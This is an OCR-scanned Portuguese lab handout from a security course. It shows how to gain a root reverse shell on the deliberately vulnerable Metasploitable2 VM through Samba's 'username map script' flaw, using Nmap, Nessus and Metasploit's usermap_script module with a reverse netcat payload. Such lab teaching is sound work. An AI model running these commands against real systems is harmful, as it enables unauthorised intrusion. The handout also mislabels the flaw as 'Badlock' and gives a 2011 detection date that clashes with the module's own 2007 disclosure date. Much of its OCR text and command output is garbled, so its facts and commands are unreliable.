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Pratica 08: Explorando Vulnerabilidades do Samba com o Metasploit

Ol4 turma, hoje iremos realizar um novo teste
de exploracao de vulnerabilidades na nossa
maquina alvo. Exploraremos uma falha que
ocorreu no servidor Samba nas versoes 3.0.20
a 3.0.25rc3. Vamos 147

Configurando o Ambiente

Para estudarmos estes conceitos a
ferramenta, iremos utilizar as duas méquinas
virtuais (Kali Linux e MetasploitTable2)
que utilizamos na aula anterior. A
MetasploitTable2 (um sistema vulneravel
intencionalmente para testes de seguranca)
serd a maquina que iremos utilizar como alvo e
o Kali Linux sera utilizado para realizagao de
ataques.

Coloque ambas maquinas com interface
em Rede Nat, para que elas possam acessar a
internet e se comunicarem entre si.

Internet
(IFRN)

Kali Metasploit
(Atacante) (Alvo)

Relembrando:

e Deve ser realizada de forma ética e legal,
com a devida autorizagao do proprietario
do sistema ou rede;

e Devemos criar cépia do sistema real e
realizar esta fase de modo controlado;

e Deixar registrado tudo o que vocé fez,
com prints ou videos;

e O objetivo do pentester nao é
causar danos, mas sim identificar e
corrigir  vulnerabilidades antes que
sejam exploradas por pessoas mal-
intencionadas.

Na aula de hoje, utilizaremos o Nmap
para verificarmos as portas e o0s servigos
rodando na nossa maquina alvo. Depois
iremos utilizar o Nessus para verificarmos
vulnerabilidades conhecida. Por ltimo,
utilizaremos o Metasploit para explorar a
respectiva vulnerabilidade.

Samba

O servidor Samba é uma implementacao
do protocolo SMB/CIFS open-source que
permite a interoperabilidade entre sistemas
Linux/Unix e sistemas Windows. Ele
possibilita que computadores com sistemas
operacionais diferentes compartilhem arquivos
e recursos em uma rede local. Com o Samba,
é possivel configurar um servidor de arquivos,
um servidor de impressao e até mesmo um
controlador de dominio em um ambiente Linux,
permitindo que clientes Windows acessem e
utilizem esses recursos como se estivessem
em um ambiente Windows. Isso significa
que o Samba pode ser usado para autenticar
os usudrios e computadores de um dominio
Windows.

Utilizando o Nmap

O Nmap (Network Mapper) é uma
ferramenta gratuita e de codigo aberto
voltada para descoberta de rede, auditoria de
seguranca, gerenciamento de atualizacao de
servigo e monitoramento de host ou servigo.
Maiores informacgoes sobre ela veja a aula
pratica 04.

Ela estd disponivel para download em
https://nmap.org/. para os diversos sistemas
operacionais, por exemplo, Linux, Microsoft
Windows, Mac OS X, FreeBSD, OpenBSD,
NetBSD, Sun Solaris e HP-UX.

Inicialmente iremos utilizar o Nmap no
endereco TP da méquina alvo com o objetivo
de identificar servigos e suas respectivas versoes
para posteriormente procurar vulnerabilidades.
Para isso, iremos usar o comando com a opgao
-sV e -O nos ajudard a determinar a versao dos
Servigos em execucao nessas portas e o Sistema
Operacional:

nmap -sV -0 10.0.2.4



Na imagem abaixo é possivel verificarmos
que a méaquina alvo utiliza o servidor Samba
versao 3.x - 4.x nas portas 139 e 445 para o
compartilhamento de arquivos entre méquinas.

L$ sudo nmap -sv -0 10.8.2.4
[sudo] password for kali:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 11:22 EDT

Nmap scan report for 10.0.2.4

Host is up (0.00032s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl1 Debian Subuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open  smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbics-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login

514/tcp open tcpwrapped

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5999/tcp open  vnc VNC (protocol 3.3)

6000/tcp open  X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: ©8:00:27:10:62:21 (Oracle VirtualBox virtual NIC)

Utilizando o Nessus

O Nessus é uma das ferramentas de
analise de vulnerabilidades mais populares
e amplamente utilizadas em seguranca da
informacao. Desenvolvido pela Tenable,
o Nessus é conhecido por sua capacidade
de identificar uma ampla variedade de
vulnerabilidades em sistemas, redes e
aplicativos. Maiores informagoes sobre o
Nessus veja a aula pratica 06.

Lembrando que a interface de acesso ao
Nessus ¢ via navegador com o enderego https:
//localhost:8834/.

Como resultado o Nessus nao encontra na
sua base dados uma vulnerabilidade para o
Servidor Samba rodando no MetasploitTable.
Se realizarmos wum busca na Internet
encontraremos que esta versao possui uma
vulnerabilidade. Na sequéncia iremos explorar
esta falha na méquina alvo através do
Metasploit.

Samba Badlock Vulnerability

Description

Metasploit

O DMetasploit é wuma ferramenta de
codigo aberto, desenvolvida para implementar
e executar codigo exploit contra uma maquina
alvo remota. Ela se tornou um padrao de
mercado para os pentesters. Como muitas
ferramentas de seguranca da informagao, o
Metasploit pode ser usado para atividades
legitimas e nao autorizadas.

Para inicia-lo digite no terminal:
sudo msfconsole

Nao se preocupe se parecer que O
Msfconsole estd travado durante um ou dois
minutos; ele estard carregando os médulos do
Metasploit. Depois que ele tiver concluido, vocé
serd saudado com algum tipo de arte em ASCII,
uma listagem da versao e outros detalhes, além
de um prompt:

msf >

—(kali® kali)-[~]

[sudo] password for kali:

s yso/:. /) som++: 000 ///t

Yy, +4++/// 0SS0t

i+l 11} L+

=[ metasploit v6.2.26-dev

[ 2264 exploits - 1189 auxiliary - 4084 post
951 payloads - 45 encoders - 11 nops

[ 9 evasion

Metasploit tip: Use the edit command to open the
currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/

nsfs > Il

Na imagem, na época desta aula, o
Metasploit tinha 2.397 exploits, 1.388 mddulos
auxiliares e assim por diante. Novos mddulos
estao sempre sendo adicionados ao Metasploit
e, pelo fato de o Metasploit ser um projeto
conduzido pela comunidade, qualquer pessoa
pode submeter mdédulos para serem incluidos
no Metasploit Framework.

Na aula de hoje iremos utilizar o médulo
exploit/multi/samba/usermap_script.

Pesquisando Exploit

Existe uma vulnerabilidade no servidor
Samba versao 3.0.20 e 3.0.25rc3 conhecida
como Badlock. Esta falha esta relacionada a
negociagao inadequada do nivel de autenticagao
em canais de Chamada de Procedimento
Remoto (RPC). Nesta falha, ao especificar um
nome de usudrio contendo metacaracteres do
shell, os invasores podem executar comandos
arbitrérios.

Nenhuma autenticacdo é necessaria para
explorar esta vulnerabilidade, pois esta opgao
é usada para mapear nomes de usuario antes
da autenticagao.

Sabendo que a mdéquina alvo possui o
servidor samba, poderemos pesquisar se o
Metasploit possui algum exploit relacionado
para poderemos utiliza-lo e explorar possiveis
vulnerabilidades.



Para isso, no prompt do Metasploit, digite:

msf6 > search samba

msf6 > search samba

Matching Modules

#  Name Disclosure Date
Rank Check Description

4] exploit/unix/webapp/citrix_access_gateway_exec

2010-12-21
Yes Citrix Access Gateway Command Execution
1 exploit/windows/license/calicclnt_getconfig 2005-03-02

average No Computer Associates License Client GETCONFIG Overflow
2 exploit/unix/misc/distcc_exec 2002-02-01
Yes DistCC Daemon Command Execution
3 exploit/windows/smb/group_policy startup 2015-01-26

manual No Group Policy Script Execution From Shared Resource
4  post/linux/gather/enum_configs

normal No Linux Gather Configurations
5 auxiliary/scanner/rsync/modules_list

normal No List Rsync Modules
6 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14
No M514-06@ Microsoft Windows OLE Package Manager Code Execut

Apés ter identificado um médulo podemos
digitar o comando info com o nome do
modulo para obtermos mais informagoes sobre
0 Mmesmo.

info exploit/multi/samba/usermap_script.

msfé > info exploit/multi/samba/usermap_script

Name: Samba "username map script” Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2007-05-14

Provided by:
jduck <jduck@metasploit.com>

Available targets:
Id MName

= 0 Automatic

Check supported:
Me

Inicialmente, vemos algumas informacoes
béasicas sobre o médulo, incluindo um
nome descritivo, seguido do nome do
médulo, platforma (neste caso para sistemas
Unix/Linux), privilégio (informa se esse
moédulo exige ou concede privilégios elevados
no alvo), licenga (BSD), rank (mensura o
potencial impacto do exploit no alvo).

Uns dos principais atributos de um exploit
sao as opgoes basicas. Elas incluem diversas
opgoes do médulo que podem ser configuradas
para que um moédulo possa atender melhor as
nossas necessidades. Por exemplo, a opgao
RHOST informa o endereco IP do alvo ao
Metasploit, e a opcao RPORT define a porta
no computador alvo.

Utilizando o Exploit

Agora temos que usar o exploit para atacar
o sistema de destino. Entramos com o comando
para usar o backdoor:

use exploit/multi/samba/usermap_script

Sera carregado o médulo com o exploit.
Mas para realizarmos o ataque precisaremos
realizar as configuracoes do médulo. Para isso,
digite show options.

msf exploit(...) > show options

Module options (expleit/multi/samba/usermap_script):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:po
rt[,type:host:port][ ... ]

RHOSTS yes The target host(s), see https://docs
.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name  Current Setting Regquired Description

LHOST 10.8.2.15 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port

Na saida, encontram-se as configuragoes
do moédulo, seu respectivos valores default
e uma descrigao de cada configuragdo. A
opgao RHOST refere-se ao host remoto que
queremos explorar. FEssa opcao é necessaria
porque devemos sempre fornecer um alvo para
o Metasploit atacar. No nosso caso sera a
méquina MetasploitTable (alvo).

Para configurar este atributo do médulo,
no nosso caso serd o endereco IP do nosso alvo
(mdquina 10.0.2.4), no prompt do msfconsole
digite:

msf exploit(...) > set RHOST 10.0.2.4

Agora iremos enviar o nosso exploit para a
maquina alvo. Digite no prompt:

msf6 exploit(...) > exploit

Como podemos observar, o exploit
conseguiu se logar e iniciarlizar um shell como
usudrio root. Agora temos acesso remoto com
permissao de root na maquina alvo.

[*] started reverse TCP handler on 10.8.2.15:4444
[*] Command shell session 1 opened (10.0.2.15:4444 —5 10.0.2.6:37398) at 2024
—04-01 13:44:42 -0300

whoami
Toot
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc nogueue

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

inet 127.0.0.1/8 scope host lo

ineté ::1/128 scope host

valid_Lft forever preferred_Lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast glen 100
0

link/ether 08:00:27:05:df:d8 brd ff:ff:ff:ff:ff:ff

inet 10.0.2.6/24 brd 10.0.2.255 scope global ethe

inet6 fe80::a00:27ff:fe@5:dfd8/64 scope link
valid_1ft forever preferred 1ft forever



Conseguimos acessar a maquina Linux-alvo
com um backdoor com permissoes de root.
Agora teremos controle total sobre o sistema.
Isso significa que vocé podera executar qualquer
comando, tais como:

e Instalar, remover ou modificar qualquer
software no sistema.

e Ler, modificar ou excluir arquivos do
sistema, incluindo arquivos criticos de
configuracgao.

e Criar novas contas de usuéario e modificar
as permissoes de acesso de outros
usuarios.

e Monitorar o trafego de rede, capturar
dados sensiveis ou realizar ataques
direcionados a outras maquinas na rede.

e Realizar acoes que comprometam
a  integridade, disponibilidade e
confidencialidade do sistema e dos
dados armazenados nele.

Em resumo, esta vulnerabilidade ¢é
extremamente perigoso, pois permite um
controle completo sobre a maquina e pode levar
a consequéncias graves. Esta vulnerabilidade
foi detectada em julho de 2011 e dois dias depois
o sistema foi atualizado e a falha removida.
Entretanto, no maquina MetasploitTable foi
deixado o software com a versao antiga
propositalmente para testes de seguranga.

Atividade

1. Realiza a exploragao de vulnerabilidadesdo
encontradas no samba mostrada na aula.



